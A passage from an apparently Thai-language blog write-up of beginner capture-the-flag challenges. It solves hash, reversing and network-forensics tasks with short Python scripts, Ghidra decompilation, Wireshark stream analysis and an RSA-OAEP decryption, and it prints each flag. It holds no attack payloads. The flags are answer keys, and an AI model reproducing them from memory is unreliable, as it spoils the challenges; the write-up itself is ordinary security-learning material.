เลยแต่ถ้าสังเกตดีๆ คือมันแอบเหลี่ยมเขียนคำว่า flag เป็น fIag จริงๆ แล้ว flag จะมาจากคำสั่ง</p><pre>flag = hashlib.md5(f&quot;{secret}:{dice}&quot;.encode()).hexdigest()</pre><p>ซึ่งถ้าอ่าน code แล้วก็จะพบว่า secret = “dice_master” และ dice = 4 เพราะจะทำให้ MAX_SUM = 24 ทำให้โปรแกรมรันต่อไปได้</p><p>จริงๆ ใช้ไฟล์เดิมรันแค่เพิ่มบรรทัด print(flag) ก็ออกแล้วแต่ใน writeup ขอเขียนแยกเป็นไฟล์ solve.py ละกัน</p><pre>import hashlib<br>dice = 4<br>secret = &quot;dice_master&quot;<br>flag = hashlib.md5(f&quot;{secret}:{dice}&quot;.encode()).hexdigest()<br>print(flag)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*Ba6mYgGALRc5fs4ZQH0bRw.png" /></figure><p>พอรันไฟล์ python ก็จะได้ flag:</p><p>flag{2b0f76e1d00da3cf0e94c0f55da9e184}</p><h4>Pro 02</h4><p>โจทย์ให้ file python และไฟล์ key.txt ที่มีข้อความบางอย่างอยู่มา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*WDJUOSNBT9h1m8UjPk3Y-w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*v1_OlkpFQt9_DYZgRXIkYA.png" /></figure><pre>def validate_args():<br>    if len(sys.argv) != 4:<br>        print(&quot;Error: You must specify an option (--key/-k), key.txt, and what you want ^o^&quot;)<br>        return None<br>    option, keyfile, argument = sys.argv[1], sys.argv[2], sys.argv[3]<br>    # Check for empty strings<br>    if not all([option, keyfile, argument]):<br>        print(&quot;Error: None of the input parameters can be empty&quot;)<br>        return None<br>    if option not in [&#39;--key&#39;, &#39;-k&#39;]:<br>        print(&quot;Error: Invalid option. Use &#39;--key&#39; for encryption or &#39;-k&#39; for decryption.&quot;)<br>        return None<br>    if not argument.isalnum() or len(argument) != 4:<br>        print(&quot;Error: Argument must be a 4-character alphanumeric string.&quot;)<br>        return None<br>    return option, keyfile, argument<br><br>def keyman():<br>    args = validate_args()<br>    if args is None:<br>        return    <br>    option, keyfile, argument = args    <br>    try:<br>        with open(keyfile, &#39;r&#39;) as f:<br>            secret = f.read().strip()<br>        if not secret:<br>            print(&quot;Error: Key file is empty.&quot;)<br>            return<br>        #data = f&quot;{secret}:{argument}&quot;<br>        flag = f&quot;flag{{{hashlib.md5(data.encode()).hexdigest()}}}&quot;<br>        print(flag)<br>    except FileNotFoundError:<br>        print(f&quot;Error: The file &#39;{keyfile}&#39; was not found.&quot;)<br>    except Exception as e:<br>        print(f&quot;Error: {str(e)}&quot;)<br>#if __name__ == &quot;__main__&quot;:<br>#   keyman()</pre><p>พออ่านโค้ดจะเหมือนกับโจทย์ข้อนี้ให้เราลองแก้ๆ โค้ดไปจนมันสามารถรันเพื่อเอาคำตอบออกมาได้โดยคำตอบจะเป็นการนำ secret และ argument มาต่อกันและนำไป hash md5</p><pre>data = f&quot;{secret}:{argument}&quot;<br>flag = f&quot;flag{{{hashlib.md5(data.encode()).hexdigest()}}}&quot;<br>print(flag)</pre><p>secret คือ ข้อความที่โปรแกรมอ่านออกมาจากไฟล์ key.txt ส่วน argument คือ alphanumeric character ที่มีความยาวสี่ตัว</p><p>ถ้าเราลองอ่าน function validate_args() ดูก็จะพบคำใบ้ที่ว่า</p><pre>print(&quot;Error: You must specify an option (--key/-k), key.txt, and what you want ^o^&quot;)</pre><p>นั่นก็คือตอนรันโปรแกมต้องใส่ argument สามตัวคือ option, key.txt, แล้วก็ alphanumeric character ยาวสีซึ่งหมายถึง “what you want ^o^”</p><p>แน่นอนว่าเราต้องการ flag ซึ่งมีความยาว 4 พอดี</p><p>เราจะเขียน file solve.py เพื่อแก้แบบไม่รกได้ว่า</p><pre>import hashlib<br>secret = &quot;114efb32b2951bf33ae9fdad3e155cbe&quot; # key.txt<br>argument = &quot;flag&quot; # what you want ^O^<br>data = f&quot;{secret}:{argument}&quot;<br>flag = f&quot;flag{{{hashlib.md5(data.encode()).hexdigest()}}}&quot;<br>print(flag)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*LONFzwWkB2-v649GUMdmVA.png" /></figure><p>พอรันไฟล์ python ก็จะได้ flag:</p><p>flag{1796e96b13b3d2e19d4400ad9236fc6f}</p><h4>Re 01</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*hCHuISlWbzZZDeBKDe_YZQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lKK8GOBuCjU5rdF-g1wxqQ.png" /></figure><p>แตกไฟล์ zip ที่โจทย์ให้มาจะเจอไฟล์ชื่อ hippo</p><p>พอลองเช็คด้วยคำสั่ง file ก็เจอพบว่าเป็น executable ของ linux</p><p>พอลองรันดูก็พบว่าโปรแกรมถามหารหัส</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*yEv9vLLRphbPd85bSrU2lA.png" /></figure><p>เราเลยลองใช้คำสั่ง strings ดูเผื่อเจออะไรน่าสนใจ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*DOmn-CEU5YXbBDt3bo2VTg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*4XF6eHcXe8iL0yz-XUVvDg.png" /></figure><p>พออ่านตรงนี้เลยคิดว่ารหัสน่าจะเป็น hippo_so_cute</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*E-xIR2Oy029pAC28D0_7XQ.png" /></figure><p>จะได้ flag:</p><p>flag{4209b9cb076d039e8e7783a054be4cb4}</p><h4>Re 02</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*-AN_lBRqSZ1G9EnduzTJ2g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*zG1hZUs0Z7b0Shsbkq1OvA.png" /></figure><p>ข้อนี้ให้ file linux executable มาเหมือนเดิม พอลองรันดูข้อนี้ถามหา key 4 อัน ลองใช้ strings ดูก็ไม่เจออะไร</p><p>ก็เลยลองเอาไฟล์ไปเข้า ghidra ดู</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MsfQnuDL5kJTbfZ8yxYxsQ.png" /></figure><pre>undefined8 main(void)<br><br>{<br>  int iVar1;<br>  size_t sVar2;<br>  char local_148 [64];<br>  char local_108 [64];<br>  char local_c8 [64];<br>  char local_88 [64];<br>  undefined8 local_48;<br>  undefined8 local_40;<br>  undefined8 local_38;<br>  undefined6 local_30;<br>  undefined2 uStack_2a;<br>  undefined6 uStack_28;<br>  int local_1c;<br>  char *local_18;<br>  int local_c;<br>  <br>  local_48 = 0x7a3078352e2c252d;<br>  local_40 = 0x29677b7e28742a2f;<br>  local_38 = 0x2e63787e2874287d;<br>  local_30 = 0x7d7d7879717e;<br>  uStack_2a = 0x2a35;<br>  uStack_28 = 0x327c28757d2d;<br>  local_18 = &quot;KIMINOTO&quot;;<br>  local_1c = 0x26;<br>  printf(&quot;Enter Key 1: &quot;);<br>  fgets(local_88,0x32,stdin);<br>  printf(&quot;Enter Key 2: &quot;);<br>  fgets(local_c8,0x32,stdin);<br>  printf(&quot;Enter Key 3: &quot;);<br>  fgets(local_108,0x32,stdin);<br>  printf(&quot;Enter Key 4: &quot;);<br>  fgets(local_148,0x32,stdin);<br>  sVar2 = strcspn(local_88,&quot;\n&quot;);<br>  local_88[sVar2] = &#39;\0&#39;;<br>  sVar2 = strcspn(local_c8,&quot;\n&quot;);<br>  local_c8[sVar2] = &#39;\0&#39;;<br>  sVar2 = strcspn(local_108,&quot;\n&quot;);<br>  local_108[sVar2] = &#39;\0&#39;;<br>  sVar2 = strcspn(local_148,&quot;\n&quot;);<br>  local_148[sVar2] = &#39;\0&#39;;<br>  iVar1 = strcmp(local_88,&quot;KI1&quot;);<br>  if ((((iVar1 == 0) &amp;&amp; (iVar1 = strcmp(local_c8,&quot;MI_&quot;), iVar1 == 0)) &amp;&amp;<br>      (iVar1 = strcmp(local_108,&quot;NO-&quot;), iVar1 == 0)) &amp;&amp;<br>     (iVar1 = strcmp(local_148,&quot;TO+&quot;), iVar1 == 0)) {<br>    xor_decrypt(&amp;local_48,local_18,local_1c);<br>    printf(&quot;Decoded data: &quot;);<br>    for (local_c = 0; local_c &lt; local_1c; local_c = local_c + 1) {<br>      putchar((int)*(char *)((long)&amp;local_48 + (long)local_c));<br>    }<br>    putchar(10);<br>    return 0;<br>  }<br>  puts(&quot;Incorrect keys. Access denied.&quot;);<br>  return 0;</pre><p>พอลองดู function main ก็จะพบว่า program compare ตัวแปรกับ string แต่มันอ่านยากเลยตั้งชื่อตัวแปรใหม่ใน ghidra</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/288/1*R_5QBPIMC7817pySGsNEIg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/281/1*EJv5615QuPAH1LrIfOBf6A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*0iywkM2b1SbxmSGU6wUazg.png" /></figure><p>พอลองอ่านดูก็จะได้ว่า</p><p>key1 = KI1</p><p>key2 = MI_</p><p>key3 = NO-</p><p>key4 = TO+</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*iAVWbHAeC-o4Ylb4KqBAmw.png" /></figure><p>จะได้ flag:</p><p>flag{7d5dc9a043f6a9a077a584132aef48a2}</p><h4>Net 1 — Reverse Shell Analysis</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*-xfUNQgkKy69K92yGqH7Ag.png" /></figure><p>ข้อนี้โจทย์บอกว่ามี flag สองส่วนต้องเอามาต่อกัน</p><p>โจทย์ให้ pcap มาเลยเอาไปเข้า wireshark</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fp5zUlQW0iQXgk5XOhPrgw.png" /></figure><p>พอลอง Follow TCP stream ก็ไปเจอกับ username และ password ใน stream 2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dP3QIwhYb4TmKeN8gaR_5A.png" /></figure><p>จะได้ username = admin_half1 และ password = ZmxhZ3tqdW5pb3JfbmV0MV9kZDEwNjQK</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*HnXS1bRjy62XWnXx-NbDOA.png" /><figcaption><a href="https://gchq.github.io/CyberChef/#recipe=From_Base64(&#39;A-Za-z0-9%2B/%3D&#39;,true,false)&amp;input=Wm14aFozdHFkVzVwYjNKZmJtVjBNVjlrWkRFd05qUUs">https://gchq.github.io/CyberChef/#recipe=From_Base64(&#39;A-Za-z0-9%2B/%3D&#39;,true,false)&amp;input=Wm14aFozdHFkVzVwYjNKZmJtVjBNVjlrWkRFd05qUUs</a></figcaption></figure><p>เอา password ถอด base64 ก็จะได้ flag ครึ่งแรกมา</p><p>flag{junior_net1_dd1064</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-2tRm2eTOXxfesdJU6zc3A.png" /></figure><p>Follow ต่อไปเรื่อยๆ จน Stream 4 ก็จะเจอ Base64 อีกอันนึง ที่อยู่ใน file secret_half2.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2qnM6tonR_sJYgvS_p6hQA.png" /><figcaption><a href="https://gchq.github.io/CyberChef/#recipe=From_Base64(&#39;A-Za-z0-9%2B/%3D&#39;,true,false)&amp;input=T0dWbFpUSmlaakprTnpFNE9UTXdZemxpTW1aaVpXSmhaVEY5Q2c9PQ">https://gchq.github.io/CyberChef/#recipe=From_Base64(&#39;A-Za-z0-9%2B/%3D&#39;,true,false)&amp;input=T0dWbFpUSmlaakprTnpFNE9UTXdZemxpTW1aaVpXSmhaVEY5Q2c9PQ</a></figcaption></figure><p>ถอดรหัสแล้วก็เอามาต่อกับ flag ครึ่งแรก จะได้ flag</p><p>flag{junior_net1_dd10648eee2bf2d718930c9b2fbebae1}</p><h4>Net 2 — Reverse Shell Pro Max Analysis</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*iIvXMJuIUTLX2jiWnuawKw.png" /></figure><p>ข้อนี้โจทย์ให้คำใบ้มาว่า</p><ul><li>rsa_padding_mode:oaep</li><li>rsa_oaep_md:sha256</li></ul><p>ซึ่งเป็นวิธีการเข้ารหัส</p><p>เราก็ทำเหมือนเดิมเลย เอา pcap เข้า wireshark แล้ว Follow stream</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e2QO3xS-78VZxRXLJcO0kw.png" /></figure><p>จะพบว่า flag.txt ที่ถูกเข้ารหัสไว้</p><pre>m3/oQS/FYXuPgKEsoCXO2NCBxkEAtMycpnl+2vY0VMaOgAGuyciaQNzYAJtSF/JpRILcmDOHJ6TRyFVw3OoEGWcSKydSbneDVgQXIEptRh0z4kvW/5ixC9o1T0Q0Yn2oH/g3mxVIng1NVzMJzENlOO1vUPtn8ktdxvW939Ovt0h4Z8HkxAwDBAsvFWA6AIALhXhb9Ih3UWx/xQoQfrf468sQldMUS29QyOHCPhpAi1CPIikiXx2Teid7AFagvFcJ2OzTax8pg3VzPv/kLnzkMxclLJA8e7/O3Mj1S+08MzU9HaDJi4Emxu+L8LoYfQHVqxkkFi3pI7v2bq/7kBWQLA==</pre><p>ด้วยความที่โจทย์บอกวิธีการเข้ารหัสมาอยู่แล้วเราก็เลยให้ AI ช่วยเจ็นให้เพราะเขียนไม่เป็น 😂 แล้วก็ปรับๆ เอา ลองผิดลองถูกจนมันออกก็ออก55555</p><pre>from cryptography.hazmat.primitives import serialization<br>from cryptography.hazmat.primitives.asymmetric import padding<br>from cryptography.hazmat.primitives import hashes<br>import base64<br><br># load private key<br>with open(&quot;private_key.pem&quot;, &quot;rb&quot;) as key_file:<br>    private_key = serialization.load_pem_private_key(<br>        key_file.read(),<br>        password=None,<br>    )<br><br>encrypted_data = base64.b64decode(&quot;m3/oQS/FYXuPgKEsoCXO2NCBxkEAtMycpnl+2vY0VMaOgAGuyciaQNzYAJtSF/JpRILcmDOHJ6TRyFVw3OoEGWcSKydSbneDVgQXIEptRh0z4kvW/5ixC9o1T0Q0Yn2oH/g3mxVIng1NVzMJzENlOO1vUPtn8ktdxvW939Ovt0h4Z8HkxAwDBAsvFWA6AIALhXhb9Ih3UWx/xQoQfrf468sQldMUS29QyOHCPhpAi1CPIikiXx2Teid7AFagvFcJ2OzTax8pg3VzPv/kLnzkMxclLJA8e7/O3Mj1S+08MzU9HaDJi4Emxu+L8LoYfQHVqxkkFi3pI7v2bq/7kBWQLA==&quot;)<br><br># decrypt data<br>decrypted_data = private_key.decrypt(<br>    encrypted_data,<br>    padding.OAEP(<br>        mgf=padding.MGF1(algorithm=hashes.SHA256()),<br>        algorithm=hashes.SHA256(),<br>        label=None<br>    )<br>)<br><br>print(decrypted_data.decode())</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*bmm1GWOoVrjugdlmD429gQ.png" /></figure><p>พอรันไฟล์ python ก็จะได้ flag:</p><p>flag{junior_net2_8a95ca672a65f751efd70d1340cf835a}</p><p>หวังว่า write up นี้จะช่วยอะไรคนอ่านได้ไม่มากก็น้อยพึ่งเคยเขียน write up ใน medium เหมือนกันเพราะปกติทำไม่ค่อยได้🤣🤣</p><p>ถ้าใครที่แคปโจทย์ไว้สามารถบริจาคภาพได้ ส่วนข้อ web เราไม่ได้เป็นคนทำเลยยังไม่ได้ดู และไม่ได้เซฟลิงก์ไว้ แต่ถ้าว่างจะมาเพิ่ม 😱</p><p>และข้อ net 3 covet channel ถ้าคิดออกแล้วอาจจะมาเพิ่มเช่นกัน</p><p>ถ้าเขียนผิดคือรีบ ไว้ค่อยมาแก้นะ (ขี้เกียจเฉยๆ เลยพูด) 🥰</p><p>ส่วนในตอนนี้ผมขอตัวลาไปก่อน สวีดัสสวัสดีครับ (จบเถอะ)</p><p>Links:</p><ul><li><a href="https://ctftime.org/user/192157">CTFtime.org / Mc4minta</a></li><li><a href="https://github.com/Mc4minta">Mc4minta - Overview</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=812e0acfb906" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>